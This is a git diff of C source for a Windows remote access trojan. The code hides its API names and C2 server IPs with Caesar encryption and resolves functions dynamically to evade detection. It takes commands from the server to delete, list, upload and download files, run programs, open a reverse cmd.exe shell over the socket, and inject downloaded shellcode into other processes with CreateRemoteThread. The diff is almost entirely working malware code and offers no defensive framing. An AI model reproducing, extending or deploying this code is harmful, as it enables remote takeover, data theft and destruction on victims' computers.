Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
|
||||
mbstowcs_(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
|
||||
LPWSTR cmd_char = wtext;
|
||||
|
||||
int sock;
|
||||
int sock = 0;
|
||||
int first = 1;
|
||||
struct sockaddr_in server;
|
||||
char* server_reply = (char*)Api.malloc(BUFFER_SIZE);
|
||||
char* server_reply = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
server.sin_family = AF_INET;
|
||||
|
||||
WORD wVersionRequested = MAKEWORD(2, 2);
|
||||
@@ -145,12 +147,12 @@ retry:
|
||||
//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
|
||||
//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
|
||||
size_t len = strlen(fallback_servers[serv]);
|
||||
char* Tmp = Api.malloc(len + 1);
|
||||
Api.strcpy(Tmp, fallback_servers[serv]);
|
||||
char* Tmp = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, len + 1);
|
||||
strcpy(Tmp, fallback_servers[serv]);
|
||||
|
||||
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
|
||||
|
||||
Api.free(Tmp);
|
||||
Api.HeapFree(_crt_heap, 0, Tmp);
|
||||
|
||||
server.sin_port = Api.htons(fallback_servers_ip[serv]);
|
||||
|
||||
@@ -173,7 +175,7 @@ retry:
|
||||
//keep communicating with server
|
||||
while (1)
|
||||
{
|
||||
Api.memset(server_reply, 0, BUFFER_SIZE);
|
||||
memset_(server_reply, 0, BUFFER_SIZE);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
|
||||
@@ -183,31 +185,31 @@ retry:
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file
|
||||
char* path = (char*)Api.malloc(MAX_PATH);
|
||||
if (strncmp_(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||
{
|
||||
//recv failed
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.remove(CAESAR_DECRYPT(path));
|
||||
Api.DeleteFileA(CAESAR_DECRYPT(path));
|
||||
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
|
||||
char* path = (char*)Api.malloc(MAX_PATH);
|
||||
if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||
{
|
||||
//recv failed
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
@@ -216,178 +218,159 @@ retry:
|
||||
|
||||
delete_folder(wstr);
|
||||
|
||||
Api.free((LPWSTR)wstr);
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
|
||||
char* path = (char*)Api.malloc(MAX_PATH);
|
||||
struct stat fileinfo;
|
||||
if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||
{
|
||||
//recv failed
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo);
|
||||
if (st != 0) {
|
||||
|
||||
if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) {
|
||||
//send failed
|
||||
Api.free(path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.free(path);
|
||||
continue;
|
||||
}
|
||||
|
||||
time_t mtime = fileinfo.st_mtime;
|
||||
struct tm* mtime_tm = Api.localtime(&mtime);
|
||||
char mtime_str[30];
|
||||
char sizeStr[20];
|
||||
Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm);
|
||||
|
||||
// Concatenate the file size and modified time strings separated by "/"
|
||||
Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size);
|
||||
int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator
|
||||
char* fileInfoStr = (char*)Api.malloc(bufferSize);
|
||||
Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str);
|
||||
|
||||
if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) {
|
||||
char infos = get_obj_info(CAESAR_DECRYPT(path));
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
if (Api.send(sock, &infos, 1, 0) < 0) {
|
||||
//send failed
|
||||
Api.free(path);
|
||||
Api.free(fileInfoStr);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.free(fileInfoStr);
|
||||
Api.free(path);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
|
||||
char* drives = (char*)Api.malloc(MAX_PATH);
|
||||
if (strncmp_(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
|
||||
char* drives = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
get_drives_list(drives);
|
||||
|
||||
if (Api.send(sock, drives, strlen(drives), 0) < 0) {
|
||||
//send failed
|
||||
Api.free(drives);
|
||||
Api.HeapFree(_crt_heap, 0, drives);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.free(drives);
|
||||
Api.HeapFree(_crt_heap, 0, drives);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject
|
||||
char* arch = (char*)Api.malloc(2);
|
||||
if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
memset_(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset_(&pi, 0, sizeof(pi));
|
||||
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) {
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.CreateProcessA(
|
||||
NULL, // Application name
|
||||
CAESAR_DECRYPT(path), // Command line
|
||||
NULL, // Process security attributes
|
||||
NULL, // Primary thread security attributes
|
||||
FALSE, // Handles are not inherited
|
||||
CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE, // Creation flags
|
||||
NULL, // Use parent's environment block
|
||||
NULL, // Starting directory
|
||||
&si, // Pointer to STARTUPINFOW structure
|
||||
&pi // Pointer to PROCESS_INFORMATION structure
|
||||
);
|
||||
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
}
|
||||
|
||||
#ifdef SHELLCODE
|
||||
if (strncmp_(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject
|
||||
char* arch = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, 2);
|
||||
|
||||
if (Api.recv(sock, arch, 2, 0) <= 0) {
|
||||
//send failed
|
||||
Api.free(arch);
|
||||
Api.HeapFree(_crt_heap, 0, arch);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
CAESAR_DECRYPT(arch);
|
||||
|
||||
HANDLE hFile = CreateFileMappingW(
|
||||
INVALID_HANDLE_VALUE, // Use the page file
|
||||
NULL, // Default security attributes
|
||||
PAGE_READWRITE, // Read/write access
|
||||
0, // Map the entire file
|
||||
BUFFER_SIZE, // Size of the file (in bytes)
|
||||
TEXT("idufhiu")); // Name of the file mapping object
|
||||
|
||||
if (hFile == NULL) {
|
||||
Api.free(arch);
|
||||
size_t fsize = 0;
|
||||
char *file = upload_file_to_mem(sock, &fsize);
|
||||
if (file == NULL) {
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
upload_file(sock, hFile);
|
||||
|
||||
// Move the file pointer back to the beginning of the file
|
||||
Api.SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
|
||||
|
||||
HANDLE proc;
|
||||
if (Api.strncmp(arch, "32", strlen("32")) == 0) {
|
||||
proc = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, (DWORD)18872);//FindProcessByArch(L"x86");
|
||||
HANDLE proc = NULL;
|
||||
if (strncmp_(arch, "32", strlen("32")) == 0) {
|
||||
proc = FindProcessByArch(L"x86");
|
||||
}
|
||||
else {
|
||||
proc = FindProcessByArch(L"x64");
|
||||
}
|
||||
|
||||
Api.free(arch);
|
||||
Api.HeapFree(_crt_heap, 0, arch);
|
||||
|
||||
if (proc == NULL) {
|
||||
Api.CloseHandle(hFile);
|
||||
Api.HeapFree(_crt_heap, 0, file);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
// Get the size of the file
|
||||
LARGE_INTEGER fileSize;
|
||||
if (!Api.GetFileSizeEx(hFile, &fileSize))
|
||||
{
|
||||
Api.CloseHandle(hFile);
|
||||
Api.CloseHandle(proc);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
LPVOID addr = Api.VirtualAllocEx(proc, NULL, (size_t)fileSize.QuadPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (addr == NULL) {
|
||||
Api.CloseHandle(hFile);
|
||||
Api.HeapFree(_crt_heap, 0, file);
|
||||
Api.CloseHandle(proc);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
DWORD bytesRead;
|
||||
char* shellcode = (char*)Api.malloc((size_t)fileSize.QuadPart);
|
||||
if (!Api.ReadFile(hFile, shellcode, sizeof(shellcode), &bytesRead, NULL))
|
||||
{
|
||||
Api.free(shellcode);
|
||||
Api.CloseHandle(hFile);
|
||||
if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
|
||||
Api.HeapFree(_crt_heap, 0, file);
|
||||
Api.CloseHandle(proc);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.WriteProcessMemory(proc, addr, shellcode, BUFFER_SIZE, NULL);
|
||||
HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
|
||||
if (hThread == NULL) {
|
||||
Api.HeapFree(_crt_heap, 0, file);
|
||||
Api.CloseHandle(proc);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.free(shellcode);
|
||||
Api.CloseHandle(hFile);
|
||||
Api.HeapFree(_crt_heap, 0, file);
|
||||
Api.CloseHandle(proc);
|
||||
Api.CloseHandle(hThread);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
|
||||
char* file_list = (char*)Api.malloc(BUFFER_SIZE);
|
||||
char* path = (char*)Api.malloc(MAX_PATH);
|
||||
#endif
|
||||
if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
|
||||
char* file_list = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||
{
|
||||
//recv failed
|
||||
Api.free(file_list);
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, file_list);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
int num_files;
|
||||
int num_files = 0;
|
||||
file_list = get_file_list(CAESAR_DECRYPT(path), &num_files);
|
||||
|
||||
if (file_list == NULL) {
|
||||
Api.free(file_list);
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, file_list);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
@@ -395,50 +378,50 @@ retry:
|
||||
|
||||
if (Api.send(sock, file_list, strlen(file_list), 0) < 0) {
|
||||
//send failed
|
||||
Api.free(file_list);
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, file_list);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
|
||||
char* path = (char*)Api.malloc(MAX_PATH);
|
||||
if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||
{
|
||||
//recv failed
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb");
|
||||
Api.free(path);
|
||||
HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
|
||||
if (fp == NULL)
|
||||
if (hFile == NULL)
|
||||
{
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (download_file(fp, sock) == 0) {
|
||||
if (download_file(hFile, sock) == 0) {
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
|
||||
char* path = (char*)Api.malloc(MAX_PATH);
|
||||
if (strncmp_(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
|
||||
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||
{
|
||||
//recv failed
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
@@ -447,20 +430,20 @@ retry:
|
||||
|
||||
HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (file_handle == INVALID_HANDLE_VALUE) {
|
||||
Api.free(path);
|
||||
Api.free((LPWSTR)wstr);
|
||||
return;
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
Api.free((LPWSTR)wstr);
|
||||
Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
|
||||
|
||||
upload_file(sock, file_handle);
|
||||
|
||||
Api.CloseHandle(file_handle);
|
||||
Api.free(path);
|
||||
Api.HeapFree(_crt_heap, 0, path);
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||
if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||
// Set the socket as standard output and error
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
@@ -483,7 +466,7 @@ retry:
|
||||
|
||||
// Create the process
|
||||
STARTUPINFO si;
|
||||
ZeroMemory(&si, sizeof(STARTUPINFO));
|
||||
memset_(&si, 0, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = g_hChildStd_OUT_Wr;
|
||||
si.hStdOutput = g_hChildStd_OUT_Wr;
|
||||
@@ -491,7 +474,7 @@ retry:
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
||||
memset_(&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
|
||||
SendShellEndedSignal(sock);
|
||||
@@ -550,4 +533,24 @@ retry:
|
||||
FreeApis();
|
||||
*/
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
BOOL APIENTRY main(HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
main_func();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
*/
|
||||
@@ -1,18 +1,31 @@
|
||||
#include "resolve_apis.h"
|
||||
#include "libc.h"
|
||||
|
||||
API Api;
|
||||
HMODULE hWininet;
|
||||
HMODULE hMsvcrt;
|
||||
HMODULE hKernel32;
|
||||
|
||||
void InitApis() {
|
||||
// Dynamic loading functions
|
||||
hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll
|
||||
TLdrLoadDll ldr = (TLdrLoadDll)get_ntfunction(CAESAR_DECRYPT("QiwQtfiIqq"));
|
||||
TRtlInitUnicodeString r = (TRtlInitUnicodeString)get_ntfunction(CAESAR_DECRYPT("WyqNsnyZsnhtijXywnsl"));
|
||||
wchar_t *wide = L"kernel32.dll";
|
||||
UNICODE_STRING dll;
|
||||
|
||||
r(&dll, wide);
|
||||
ldr(0, 0, &dll, (PVOID*)&hKernel32);
|
||||
if (!hKernel32) {
|
||||
return;
|
||||
}
|
||||
|
||||
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||
Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||
Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F"));
|
||||
Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi"));
|
||||
Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF"));
|
||||
Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
|
||||
Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth"));
|
||||
Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj"));
|
||||
Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
|
||||
Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
|
||||
Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
|
||||
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
||||
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
||||
@@ -25,7 +38,6 @@ void InitApis() {
|
||||
Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi"));
|
||||
Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\"));
|
||||
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
|
||||
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
||||
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
||||
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
||||
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
|
||||
@@ -33,45 +45,13 @@ void InitApis() {
|
||||
Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
|
||||
Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\"));
|
||||
Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\"));
|
||||
Api.DeleteFileA = (TDeleteFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqjF"));
|
||||
Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\"));
|
||||
Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\"));
|
||||
Api.CreateToolhelp32Snapshot = (TCreateToolhelp32Snapshot)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYttqmjqu87Xsfuxmty"));
|
||||
Api.Process32FirstW = (TProcess32FirstW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Knwxy\\"));
|
||||
Api.OpenProcess = (TOpenProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("TujsUwthjxx"));
|
||||
Api.Process32NextW = (TProcess32NextW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Sj}y\\"));
|
||||
Api.IsWow64Process = (TIsWow64Process)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Nx\\t|;9Uwthjxx"));
|
||||
Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~"));
|
||||
Api.VirtualAllocEx = (TVirtualAllocEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("[nwyzfqFqqthJ}"));
|
||||
Api.SetFilePointer = (TSetFilePointer)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("XjyKnqjUtnsyjw"));
|
||||
Api.GetFileSizeEx = (TGetFileSizeEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjXn\x7fjJ}")); //GetFileSieEx
|
||||
|
||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||
if (!hMsvcrt) {
|
||||
return;
|
||||
}
|
||||
|
||||
Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
|
||||
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
|
||||
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
|
||||
Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
|
||||
Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
|
||||
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
|
||||
Api.remove = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjrt{j"));
|
||||
Api.rmdir = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dwrinw"));
|
||||
Api.stat = (Tstat)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxyfy"));
|
||||
Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
|
||||
Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
|
||||
Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
|
||||
Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
|
||||
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
|
||||
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
|
||||
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
|
||||
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
|
||||
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
|
||||
Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj"));
|
||||
Api.wcscmp = (Twcscmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxhru"));
|
||||
|
||||
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||
hWininet = Api.LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||
if (!hWininet) {
|
||||
return;
|
||||
}
|
||||
@@ -87,11 +67,4 @@ void InitApis() {
|
||||
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
|
||||
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
|
||||
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
|
||||
}
|
||||
/* Never called
|
||||
void FreeApis() {
|
||||
Api.FreeLibrary(hWininet);
|
||||
Api.FreeLibrary(hMsvcrt);
|
||||
Api.FreeLibrary(hKernel32);
|
||||
}
|
||||
*/
|
||||
}
|
||||
@@ -3,9 +3,19 @@
|
||||
#include <shlobj_core.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <wininet.h>
|
||||
#include <winternl.h>
|
||||
#include <winsock.h>
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef _M_X64
|
||||
#define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self)))
|
||||
#else
|
||||
#define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self)))
|
||||
#endif
|
||||
|
||||
typedef NTSTATUS(NTAPI* TRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
